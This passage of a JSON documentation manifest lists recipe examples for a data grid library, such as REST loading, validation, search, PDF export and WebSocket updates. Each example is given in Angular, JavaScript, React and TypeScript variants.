"Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example2.js", - "file": "recipes__data-management__load-data-rest-api__javascript__example2.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/react/example2.tsx", - "file": "recipes__data-management__load-data-rest-api__react__example2.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example2.ts", - "file": "recipes__data-management__load-data-rest-api__javascript__example2.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/angular/example3.ts", - "file": "recipes__data-management__load-data-rest-api__angular__example3.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example3", - "exampleTitle": "Using dataProvider for automatic pagination and sorting", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example3.js", - "file": "recipes__data-management__load-data-rest-api__javascript__example3.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example3", - "exampleTitle": "Using dataProvider for automatic pagination and sorting", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/react/example3.tsx", - "file": "recipes__data-management__load-data-rest-api__react__example3.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example3", - "exampleTitle": "Using dataProvider for automatic pagination and sorting", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example3.ts", - "file": "recipes__data-management__load-data-rest-api__javascript__example3.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example3", - "exampleTitle": "Using dataProvider for automatic pagination and sorting", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/sync-two-grids/angular/example1.ts", - "file": "recipes__data-management__sync-two-grids__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Sync two grids" - ], - "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", - "guideTitle": "Sync two grids", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/sync-two-grids", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/sync-two-grids/javascript/example1.js", - "file": "recipes__data-management__sync-two-grids__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Sync two grids" - ], - "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", - "guideTitle": "Sync two grids", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/sync-two-grids", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/sync-two-grids/react/example1.tsx", - "file": "recipes__data-management__sync-two-grids__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Sync two grids" - ], - "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", - "guideTitle": "Sync two grids", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/sync-two-grids", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/sync-two-grids/javascript/example1.ts", - "file": "recipes__data-management__sync-two-grids__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Sync two grids" - ], - "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", - "guideTitle": "Sync two grids", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/sync-two-grids", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/undo-redo-custom-ui/angular/example1.ts", - "file": "recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Undo / redo with a custom UI" - ], - "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", - "guideTitle": "Undo / redo with a custom UI", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/undo-redo-custom-ui", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/undo-redo-custom-ui/javascript/example1.js", - "file": "recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Undo / redo with a custom UI" - ], - "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", - "guideTitle": "Undo / redo with a custom UI", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/undo-redo-custom-ui", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/undo-redo-custom-ui/react/example1.tsx", - "file": "recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Undo / redo with a custom UI" - ], - "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", - "guideTitle": "Undo / redo with a custom UI", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/undo-redo-custom-ui", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/undo-redo-custom-ui/javascript/example1.ts", - "file": "recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Undo / redo with a custom UI" - ], - "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", - "guideTitle": "Undo / redo with a custom UI", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/undo-redo-custom-ui", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/editing-validation/dependent-dropdowns/angular/example1.ts", - "file": "recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Dependent dropdowns" - ], - "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", - "guideTitle": "Dependent dropdowns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/dependent-dropdowns", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/editing-validation/dependent-dropdowns/javascript/example1.js", - "file": "recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Dependent dropdowns" - ], - "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", - "guideTitle": "Dependent dropdowns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/dependent-dropdowns", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/editing-validation/dependent-dropdowns/react/example1.tsx", - "file": "recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Dependent dropdowns" - ], - "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", - "guideTitle": "Dependent dropdowns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/dependent-dropdowns", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/editing-validation/dependent-dropdowns/javascript/example1.ts", - "file": "recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Dependent dropdowns" - ], - "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", - "guideTitle": "Dependent dropdowns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/dependent-dropdowns", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/editing-validation/row-validation-error-summary/angular/example1.ts", - "file": "recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Row validation with error summary" - ], - "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", - "guideTitle": "Row validation with error summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/row-validation-error-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/editing-validation/row-validation-error-summary/javascript/example1.js", - "file": "recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Row validation with error summary" - ], - "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", - "guideTitle": "Row validation with error summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/row-validation-error-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/editing-validation/row-validation-error-summary/react/example1.tsx", - "file": "recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Row validation with error summary" - ], - "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", - "guideTitle": "Row validation with error summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/row-validation-error-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/editing-validation/row-validation-error-summary/javascript/example1.ts", - "file": "recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Editing Validation", - "Row validation with error summary" - ], - "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", - "guideTitle": "Row validation with error summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/editing-validation/row-validation-error-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/filtering-and-search/external-search-box/angular/example1.ts", - "file": "recipes__filtering-and-search__external-search-box__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "External search box" - ], - "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", - "guideTitle": "External search box", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/external-search-box", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/filtering-and-search/external-search-box/javascript/example1.js", - "file": "recipes__filtering-and-search__external-search-box__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "External search box" - ], - "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", - "guideTitle": "External search box", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/external-search-box", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/filtering-and-search/external-search-box/react/example1.tsx", - "file": "recipes__filtering-and-search__external-search-box__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "External search box" - ], - "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", - "guideTitle": "External search box", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/external-search-box", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/filtering-and-search/external-search-box/javascript/example1.ts", - "file": "recipes__filtering-and-search__external-search-box__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "External search box" - ], - "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", - "guideTitle": "External search box", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/external-search-box", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/filtering-and-search/highlight-search-matches/angular/example1.ts", - "file": "recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "Highlight search matches" - ], - "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", - "guideTitle": "Highlight search matches", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/filtering-and-search/highlight-search-matches/javascript/example1.js", - "file": "recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "Highlight search matches" - ], - "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", - "guideTitle": "Highlight search matches", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/filtering-and-search/highlight-search-matches/react/example1.tsx", - "file": "recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "Highlight search matches" - ], - "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", - "guideTitle": "Highlight search matches", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/filtering-and-search/highlight-search-matches/javascript/example1.ts", - "file": "recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering And Search", - "Highlight search matches" - ], - "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", - "guideTitle": "Highlight search matches", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/filtering-search/multi-column-filter-panel/angular/example1.ts", - "file": "recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering Search", - "Multi-column filter panel" - ], - "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", - "guideTitle": "Multi-column filter panel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/filtering-search/multi-column-filter-panel/javascript/example1.js", - "file": "recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Filtering Search", - "Multi-column filter panel" - ], - "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", - "guideTitle": "Multi-column filter panel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/filtering-search/multi-column-filter-panel/react/example1.tsx", - "file": "recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Filtering Search", - "Multi-column filter panel" - ], - "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", - "guideTitle": "Multi-column filter panel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/filtering-search/multi-column-filter-panel/javascript/example1.ts", - "file": "recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Filtering Search", - "Multi-column filter panel" - ], - "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", - "guideTitle": "Multi-column filter panel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/import-export/export-to-pdf/angular/example1.ts", - "file": "recipes__import-export__export-to-pdf__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Export to PDF" - ], - "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", - "guideTitle": "Export to PDF", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/export-to-pdf", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/import-export/export-to-pdf/javascript/example1.js", - "file": "recipes__import-export__export-to-pdf__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Export to PDF" - ], - "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", - "guideTitle": "Export to PDF", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/export-to-pdf", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/import-export/export-to-pdf/react/example1.tsx", - "file": "recipes__import-export__export-to-pdf__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Export to PDF" - ], - "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", - "guideTitle": "Export to PDF", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/export-to-pdf", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/import-export/export-to-pdf/javascript/example1.ts", - "file": "recipes__import-export__export-to-pdf__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Export to PDF" - ], - "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", - "guideTitle": "Export to PDF", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/export-to-pdf", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/import-export/import-csv-excel/angular/example1.ts", - "file": "recipes__import-export__import-csv-excel__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Import from CSV or Excel" - ], - "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", - "guideTitle": "Import from CSV or Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/import-csv-excel", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/import-export/import-csv-excel/javascript/example1.js", - "file": "recipes__import-export__import-csv-excel__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Import from CSV or Excel" - ], - "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", - "guideTitle": "Import from CSV or Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/import-csv-excel", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/import-export/import-csv-excel/react/example1.tsx", - "file": "recipes__import-export__import-csv-excel__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Import from CSV or Excel" - ], - "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", - "guideTitle": "Import from CSV or Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/import-csv-excel", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/import-export/import-csv-excel/javascript/example1.ts", - "file": "recipes__import-export__import-csv-excel__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Import Export", - "Import from CSV or Excel" - ], - "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", - "guideTitle": "Import from CSV or Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/import-export/import-csv-excel", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/performance/lazy-loading/angular/example1.ts", - "file": "recipes__performance__lazy-loading__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Lazy loading with pagination" - ], - "guide": "recipes/performance/lazy-loading/lazy-loading.md", - "guideTitle": "Lazy loading with pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/lazy-loading", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/performance/lazy-loading/javascript/example1.js", - "file": "recipes__performance__lazy-loading__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Lazy loading with pagination" - ], - "guide": "recipes/performance/lazy-loading/lazy-loading.md", - "guideTitle": "Lazy loading with pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/lazy-loading", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/performance/lazy-loading/react/example1.tsx", - "file": "recipes__performance__lazy-loading__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Lazy loading with pagination" - ], - "guide": "recipes/performance/lazy-loading/lazy-loading.md", - "guideTitle": "Lazy loading with pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/lazy-loading", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/performance/persist-column-layout/angular/example1.ts", - "file": "recipes__performance__persist-column-layout__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Persist and restore column widths and order" - ], - "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", - "guideTitle": "Persist and restore column widths and order", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/persist-column-layout", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/performance/persist-column-layout/javascript/example1.js", - "file": "recipes__performance__persist-column-layout__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Persist and restore column widths and order" - ], - "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", - "guideTitle": "Persist and restore column widths and order", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/persist-column-layout", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/performance/persist-column-layout/react/example1.tsx", - "file": "recipes__performance__persist-column-layout__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Performance", - "Persist and restore column widths and order" - ], - "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", - "guideTitle": "Persist and restore column widths and order", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/performance/persist-column-layout", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/real-time/websocket-updates/angular/example1.ts", - "file": "recipes__real-time__websocket-updates__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Real-time cell updates via WebSocket" - ], - "guide": "recipes/real-time/websocket-updates/websocket-updates.md", - "guideTitle": "Real-time cell updates via WebSocket", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/websocket-updates", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/real-time/websocket-updates/javascript/example1.js", - "file": "recipes__real-time__websocket-updates__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Real-time cell updates via WebSocket" - ], - "guide": "recipes/real-time/websocket-updates/websocket-updates.md", - "guideTitle": "Real-time cell updates via WebSocket", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/websocket-updates", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/real-time/websocket-updates/react/example1.tsx", - "file": "recipes__real-time__websocket-updates__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Real-time cell updates via WebSocket" - ], - "guide": "recipes/real-time/websocket-updates/websocket-updates.md", - "guideTitle": "Real-time cell updates via WebSocket", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/websocket-updates", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/real-time/chartjs-sync/angular/example1.ts", - "file": "recipes__real-time__chartjs-sync__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Sync rows to a Chart.js chart" - ], - "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", - "guideTitle": "Sync rows to a Chart.js chart", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/chartjs-sync", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/real-time/chartjs-sync/javascript/example1.js", - "file": "recipes__real-time__chartjs-sync__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Sync rows to a Chart.js chart" - ], - "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", - "guideTitle": "Sync rows to a Chart.js chart", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/chartjs-sync", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/real-time/chartjs-sync/react/example1.tsx", - "file": "recipes__real-time__chartjs-sync__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Sync rows to a Chart.js chart" - ], - "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", - "guideTitle": "Sync rows to a Chart.js chart", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/chartjs-sync", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/real-time/chartjs-sync/javascript/example1.ts", - "file": "recipes__real-time__chartjs-sync__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Real Time", - "Sync rows to a Chart.js chart" - ], - "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", - "guideTitle": "Sync rows to a Chart.js chart", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/real-time/chartjs-sync", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/rendering-styling/conditional-row-coloring/angular/example1.ts", - "file": "recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Conditional row coloring" - ], - "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", - "guideTitle": "Conditional row coloring", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/rendering-styling/conditional-row-coloring/javascript/example1.js", - "file": "recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Conditional row coloring" - ], - "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", - "guideTitle": "Conditional row coloring", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/rendering-styling/conditional-row-coloring/react/example1.tsx", - "file": "recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Conditional row coloring" - ], - "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", - "guideTitle": "Conditional row coloring", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/rendering-styling/conditional-row-coloring/javascript/example1.ts", - "file": "recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Conditional row coloring" - ], - "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", - "guideTitle": "Conditional row coloring", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/rendering-styling/frozen-summary-row/angular/example1.ts", - "file": "recipes__rendering-styling__frozen-summary-row__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Rendering Styling", - "Frozen summary row" - ], - "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", - "guideTitle": "Frozen summary row", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": 